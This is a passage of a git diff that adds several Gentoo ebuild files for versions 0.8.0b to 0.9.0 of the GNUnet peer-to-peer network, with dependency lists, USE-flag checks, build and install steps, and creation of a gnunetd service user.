+	net-misc/curl
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	>=dev-scheme/guile-1.8.0
+	ncurses? ( sys-libs/ncurses )
+	mysql? ( >=virtual/mysql-4.0 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd || die "Problem adding gnunetd group"
+	enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user"
+}
+
+src_unpack() {
+	unpack ${A}
+	cd "${S}"
+
+	# make mysql default sqstore if we do not compile sql support
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+	fi
+
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+
+	use mysql || myconf="${myconf} --without-mysql"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable ipv6) \
+		$(use_enable nls) \
+		$(use_enable ncurses) \
+		${myconf} || die "econf failed"
+
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" -j1 install || die "make install failed"
+	dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING
+	insinto /etc
+	newins contrib/gnunet.root gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	newinitd "${FILESDIR}"/${PN}.initd gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd "${D}"/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet
+
+	use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs"
+	einfo
+	einfo "To configure"
+	einfo "	 1) Add user(s) to the gnunetd group"
+	einfo "	 2) Run 'gnunet-setup' to generate your client config file"
+	einfo "	 3) Run gnunet-setup -d as root to generate a server config file"
+	einfo
+}
diff --git a/net-p2p/gnunet/gnunet-0.8.0b.ebuild b/net-p2p/gnunet/gnunet-0.8.0b.ebuild
new file mode 100644
index 00000000..b3115d1f
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.8.0b.ebuild
@@ -0,0 +1,107 @@
+# Copyright 1999-2008 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet ebuild
+
+inherit eutils autotools
+
+S="${WORKDIR}/GNUnet-${PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.bz2"
+#tests don't work
+RESTRICT="test"
+
+IUSE="ipv6 mysql sqlite ncurses nls gtk"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.5.20c
+	>=dev-libs/gmp-4.0.0
+	gnome-base/libglade
+	sys-libs/zlib
+	net-misc/curl
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	>=dev-scheme/guile-1.8.0
+	ncurses? ( sys-libs/ncurses )
+	mysql? ( >=virtual/mysql-4.0 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )
+	>=sys-devel/libtool-2.2.4"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd || die "Problem adding gnunetd group"
+	enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user"
+}
+
+src_unpack() {
+	unpack ${A}
+	cd "${S}"
+
+	# make mysql default sqstore if we do not compile sql support
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+	fi
+
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+
+	use mysql || myconf="${myconf} --without-mysql"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable ipv6) \
+		$(use_enable nls) \
+		$(use_enable ncurses) \
+		${myconf} || die "econf failed"
+
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" -j1 install || die "make install failed"
+	dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING
+	insinto /etc
+	newins contrib/gnunet.root gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	newinitd "${FILESDIR}"/${PN}.initd gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd "${D}"/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet
+
+	use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs"
+	einfo
+	einfo "To configure"
+	einfo "	 1) Add user(s) to the gnunetd group"
+	einfo "	 2) Run 'gnunet-setup' to generate your client config file"
+	einfo "	 3) Run gnunet-setup -d as root to generate a server config file"
+	einfo
+}
diff --git a/net-p2p/gnunet/gnunet-0.8.0c.ebuild b/net-p2p/gnunet/gnunet-0.8.0c.ebuild
new file mode 100644
index 00000000..c1914f5f
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.8.0c.ebuild
@@ -0,0 +1,108 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet ebuild
+
+inherit eutils autotools
+
+S="${WORKDIR}/GNUnet-${PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.bz2"
+#tests don't work
+RESTRICT="test"
+
+IUSE="ipv6 mysql sqlite ncurses nls gtk"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.5.20c
+	>=net-libs/libmicrohttpd-0.4.0
+	>=dev-libs/gmp-4.0.0
+	gnome-base/libglade
+	sys-libs/zlib
+	net-misc/curl
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	>=dev-scheme/guile-1.8.0
+	ncurses? ( sys-libs/ncurses )
+	mysql? ( >=virtual/mysql-4.0 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )
+	>=sys-devel/libtool-2.2.4"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd || die "Problem adding gnunetd group"
+	enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user"
+}
+
+src_unpack() {
+	unpack ${A}
+	cd "${S}"
+
+	# make mysql default sqstore if we do not compile sql support
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+	fi
+
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+
+	use mysql || myconf="${myconf} --without-mysql"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable ipv6) \
+		$(use_enable nls) \
+		$(use_enable ncurses) \
+		${myconf} || die "econf failed"
+
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" -j1 install || die "make install failed"
+	dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING
+	insinto /etc
+	doins contrib/gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	newinitd "${FILESDIR}"/${PN}.initd gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd "${D}"/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet
+
+	use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs"
+	einfo
+	einfo "To configure"
+	einfo "	 1) Add user(s) to the gnunetd group"
+	einfo "	 2) Run 'gnunet-setup' to generate your client config file"
+	einfo "	 3) Run gnunet-setup -d as root to generate a server config file"
+	einfo
+}
diff --git a/net-p2p/gnunet/gnunet-0.8.1-r1.ebuild b/net-p2p/gnunet/gnunet-0.8.1-r1.ebuild
new file mode 100644
index 00000000..7ae88407
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.8.1-r1.ebuild
@@ -0,0 +1,105 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-p2p/gnunet/gnunet-0.8.1.ebuild,v 1.1 2010/01/28 11:48:07 patrick Exp $
+
+EAPI=2
+
+inherit eutils autotools
+
+S="${WORKDIR}/GNUnet-${PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.gz"
+#tests don't work
+RESTRICT="test"
+
+IUSE="http ipv6 mysql smtp +sqlite ncurses nls gtk"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.5.18a
+	>=dev-libs/gmp-4.0.0
+	gnome-base/libglade
+	sys-libs/zlib
+	net-misc/curl
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	>=dev-scheme/guile-1.8.0
+	ncurses? ( sys-libs/ncurses )
+	mysql? ( >=virtual/mysql-4.0 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )
+	smtp? ( net-libs/libesmtp )
+	http? ( net-libs/libmicrohttpd )"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd
+	enewuser gnunetd -1 -1 /dev/null gnunetd
+}
+
+src_prepare() {
+	# make mysql default sqstore if we do not compile sqlite support
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+	fi
+
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+
+	use mysql || myconf="${myconf} --without-mysql"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable ipv6) \
+		$(use_enable nls) \
+		$(use_enable ncurses) \
+		${myconf} || die "econf failed"
+
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" -j1 install || die "make install failed"
+	dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING
+	insinto /etc
+	newins contrib/gnunet.root gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	newinitd "${FILESDIR}"/${PN}.initd gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd "${D}"/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet
+
+	use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs"
+	einfo
+	einfo "To configure"
+	einfo "	 1) Add user(s) to the gnunetd group"
+	einfo "	 2) Run 'gnunet-setup' to generate your client config file"
+	einfo "	 3) Run gnunet-setup -d as root to generate a server config file"
+	einfo
+}
diff --git a/net-p2p/gnunet/gnunet-0.8.1.ebuild b/net-p2p/gnunet/gnunet-0.8.1.ebuild
new file mode 100644
index 00000000..3c9f7321
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.8.1.ebuild
@@ -0,0 +1,108 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/
+# This ebuild is a small modification of the official gnunet ebuild
+
+inherit eutils autotools
+
+S="${WORKDIR}/GNUnet-${PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.gz"
+#tests don't work
+RESTRICT="test"
+
+IUSE="ipv6 mysql sqlite ncurses nls gtk"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.5.20c
+	>=net-libs/libmicrohttpd-0.4.0
+	>=dev-libs/gmp-4.0.0
+	gnome-base/libglade
+	sys-libs/zlib
+	net-misc/curl
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	>=dev-scheme/guile-1.8.0
+	ncurses? ( sys-libs/ncurses )
+	mysql? ( >=virtual/mysql-4.0 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )
+	>=sys-devel/libtool-2.2.4"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd || die "Problem adding gnunetd group"
+	enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user"
+}
+
+src_unpack() {
+	unpack ${A}
+	cd "${S}"
+
+	# make mysql default sqstore if we do not compile sql support
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+	fi
+
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+
+	use mysql || myconf="${myconf} --without-mysql"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable ipv6) \
+		$(use_enable nls) \
+		$(use_enable ncurses) \
+		${myconf} || die "econf failed"
+
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" -j1 install || die "make install failed"
+	dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING
+	insinto /etc
+	doins contrib/gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	newinitd "${FILESDIR}"/${PN}.initd gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd "${D}"/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet
+
+	use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs"
+	einfo
+	einfo "To configure"
+	einfo "	 1) Add user(s) to the gnunetd group"
+	einfo "	 2) Run 'gnunet-setup' to generate your client config file"
+	einfo "	 3) Run gnunet-setup -d as root to generate a server config file"
+	einfo
+}
diff --git a/net-p2p/gnunet/gnunet-0.8.1a.ebuild b/net-p2p/gnunet/gnunet-0.8.1a.ebuild
new file mode 100644
index 00000000..8aa00ed5
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.8.1a.ebuild
@@ -0,0 +1,102 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-p2p/gnunet/gnunet-0.8.1.ebuild,v 1.1 2010/01/28 11:48:07 patrick Exp $
+
+EAPI=2
+
+inherit eutils autotools
+
+S="${WORKDIR}/GNUnet-${PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.gz"
+#tests don't work
+RESTRICT="test"
+
+IUSE="http mysql smtp +sqlite nls gtk"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.5.18a
+	>=dev-libs/gmp-4.0.0
+	gnome-base/libglade
+	sys-libs/zlib
+	net-misc/curl
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	>=dev-scheme/guile-1.8.0
+	mysql? ( >=virtual/mysql-4.0 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )
+	smtp? ( net-libs/libesmtp )
+	http? ( net-libs/libmicrohttpd )"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd
+	enewuser gnunetd -1 -1 /dev/null gnunetd
+}
+
+src_prepare() {
+	# make mysql default sqstore if we do not compile sqlite support
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+	fi
+
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+
+	use mysql || myconf="${myconf} --without-mysql"
+	use http || myconf="${myconf} --without-microhttpd"
+	use smtp || myconf="${myconf} --without-esmtp"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable nls) \
+		${myconf} || die "econf failed"
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" -j1 install || die "make install failed"
+	dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING
+	insinto /etc
+	newins contrib/gnunet.root gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	newinitd "${FILESDIR}"/${PN}.initd gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd "${D}"/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet
+
+	einfo
+	einfo "To configure"
+	einfo "	 1) Add user(s) to the gnunetd group"
+	einfo "	 2) Run 'gnunet-setup' to generate your client config file"
+	einfo "	 3) Run gnunet-setup -d as root to generate a server config file"
+	einfo
+}
diff --git a/net-p2p/gnunet/gnunet-0.8.1b.ebuild b/net-p2p/gnunet/gnunet-0.8.1b.ebuild
new file mode 100644
index 00000000..ff2e5530
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.8.1b.ebuild
@@ -0,0 +1,102 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-p2p/gnunet/gnunet-0.8.1.ebuild,v 1.1 2010/01/28 11:48:07 patrick Exp $
+
+EAPI=2
+
+inherit eutils autotools
+
+S="${WORKDIR}/GNUnet-${PV}"
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.gz"
+#tests don't work
+RESTRICT="test"
+
+IUSE="http mysql smtp +sqlite nls gtk"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	=media-libs/libextractor-0.5.23
+	>=dev-libs/gmp-4.0.0
+	gnome-base/libglade
+	sys-libs/zlib
+	net-misc/curl
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	>=dev-scheme/guile-1.8.0
+	mysql? ( >=virtual/mysql-4.0 )
+	sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )
+	smtp? ( net-libs/libesmtp )
+	http? ( net-libs/libmicrohttpd )"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd
+	enewuser gnunetd -1 -1 /dev/null gnunetd
+}
+
+src_prepare() {
+	# make mysql default sqstore if we do not compile sqlite support
+	# (bug #107330)
+	! use sqlite && \
+		sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \
+		contrib/config-daemon.in
+
+	# we do not want to built gtk support with USE=-gtk
+	if ! use gtk ; then
+		sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac
+	fi
+
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+
+	use mysql || myconf="${myconf} --without-mysql"
+	use http || myconf="${myconf} --without-microhttpd"
+	use smtp || myconf="${myconf} --without-esmtp"
+
+	econf \
+		$(use_with sqlite) \
+		$(use_enable nls) \
+		${myconf} || die "econf failed"
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" -j1 install || die "make install failed"
+	dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING
+	insinto /etc
+	newins contrib/gnunet.root gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	newinitd "${FILESDIR}"/${PN}.initd gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd "${D}"/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet
+
+	einfo
+	einfo "To configure"
+	einfo "	 1) Add user(s) to the gnunetd group"
+	einfo "	 2) Run 'gnunet-setup' to generate your client config file"
+	einfo "	 3) Run gnunet-setup -d as root to generate a server config file"
+	einfo
+}
diff --git a/net-p2p/gnunet/gnunet-0.9.0.ebuild b/net-p2p/gnunet/gnunet-0.9.0.ebuild
new file mode 100644
index 00000000..118d5c2a
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.9.0.ebuild
@@ -0,0 +1,78 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit eutils autotools
+
+MY_PV="${PV/_/}"
+
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://ftp.gnu.org/gnu/gnunet/${PN}-${MY_PV}.tar.gz"
+#tests don't work
+RESTRICT="test"
+
+IUSE="mysql nls sqlite"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+S="${WORKDIR}/${PN}-${MY_PV}"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.6.1
+	>=dev-libs/gmp-4.0.0
+	sys-libs/zlib
+	net-misc/curl
+	sys-apps/sed
+	mysql? ( >=virtual/mysql-4.0 )
+        sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )
+	>=net-libs/libmicrohttpd-0.4.6"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd
+	enewuser gnunetd -1 -1 /dev/null gnunetd
+}
+
+src_prepare() {
+	sed -i 's:@GN_USER_HOME_DIR@:/etc:g' src/include/gnunet_directories.h.in
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+	use mysql || myconf="${myconf} --without-mysql"
+	econf \
+		$(use_enable nls) \
+		${myconf} || die "econf failed"
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" -j1 install || die "make install failed"
+	dodoc AUTHORS ChangeLog INSTALL NEWS README
+	docinto contrib
+	dodoc contrib/*
+	newinitd "${FILESDIR}"/${PN}.initd-0.9.0v2 gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd "${D}"/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet
+
+	ewarn "This ebuild is HIGLY experimental"
+}
diff --git a/net-p2p/gnunet/gnunet-0.9.0_pre0.ebuild b/net-p2p/gnunet/gnunet-0.9.0_pre0.ebuild
new file mode 100644
index 00000000..88889e76
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.9.0_pre0.ebuild
@@ -0,0 +1,84 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit eutils autotools
+
+MY_PV="${PV/_/}"
+
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
+SRC_URI="http://ftp.gnu.org/gnu/gnunet/${PN}-${MY_PV}.tar.gz"
+#tests don't work
+RESTRICT="test"
+
+IUSE="mysql nls sqlite"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+LICENSE="GPL-2"
+SLOT="0"
+S="${WORKDIR}/${PN}-${MY_PV}"
+
+DEPEND=">=dev-libs/libgcrypt-1.2.0
+	>=media-libs/libextractor-0.6.1
+	>=dev-libs/gmp-4.0.0
+	sys-libs/zlib
+	net-misc/curl
+	gtk? ( >=x11-libs/gtk+-2.6.10 )
+	sys-apps/sed
+	mysql? ( >=virtual/mysql-4.0 )
+        sqlite? ( >=dev-db/sqlite-3.0.8 )
+	nls? ( sys-devel/gettext )
+	>=net-libs/libmicrohttpd-0.4.6"
+
+pkg_setup() {
+	if ! use mysql && ! use sqlite; then
+		einfo
+		einfo "You need to specify at least one of 'mysql' or 'sqlite'"
+		einfo "USE flag in order to have properly installed gnunet"
+		einfo
+		die "Invalid USE flag set"
+	fi
+}
+
+pkg_preinst() {
+	enewgroup gnunetd
+	enewuser gnunetd -1 -1 /dev/null gnunetd
+}
+
+src_prepare() {
+	epatch ${FILESDIR}/${P}-gentoo.patch
+	sed -i 's:@GN_USER_HOME_DIR@:/etc:g' src/include/gnunet_directories.h.in
+	AT_M4DIR="${S}/m4" eautoreconf
+}
+
+src_compile() {
+	local myconf
+	use mysql || myconf="${myconf} --without-mysql"
+	econf \
+		$(use_enable nls) \
+		${myconf} || die "econf failed"
+	emake -j1 || die "emake failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" -j1 install || die "make install failed"
+	dodoc AUTHORS ChangeLog INSTALL NEWS README
+	insinto /etc
+	sed -i 's:$SERVICEHOME:/var/lib/gnunet:g' ${S}/contrib/defaults.conf
+	sed -i 's:$DEFAULTCONFIG:/etc/gnunet.conf:g' ${S}/contrib/defaults.conf
+	newins contrib/defaults.conf gnunet.conf
+	docinto contrib
+	dodoc contrib/*
+	newinitd "${FILESDIR}"/${PN}.initd-0.9.0 gnunet
+	dodir /var/lib/gnunet
+	chown gnunetd:gnunetd "${D}"/var/lib/gnunet
+}
+
+pkg_postinst() {
+	# make sure permissions are ok
+	chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet
+
+	ewarn "This ebuild is HIGLY experimental"
+}
diff --git a/net-p2p/gnunet/gnunet-0.9.0_pre1.ebuild b/net-p2p/gnunet/gnunet-0.9.0_pre1.ebuild
new file mode 100644
index 00000000..9ee8cbbf
--- /dev/null
+++ b/net-p2p/gnunet/gnunet-0.9.0_pre1.ebuild
@@ -0,0 +1,84 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=2
+
+inherit eutils autotools
+
+MY_PV="${PV/_/}"
+
+DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network."
+HOMEPAGE="http://gnunet.org/"
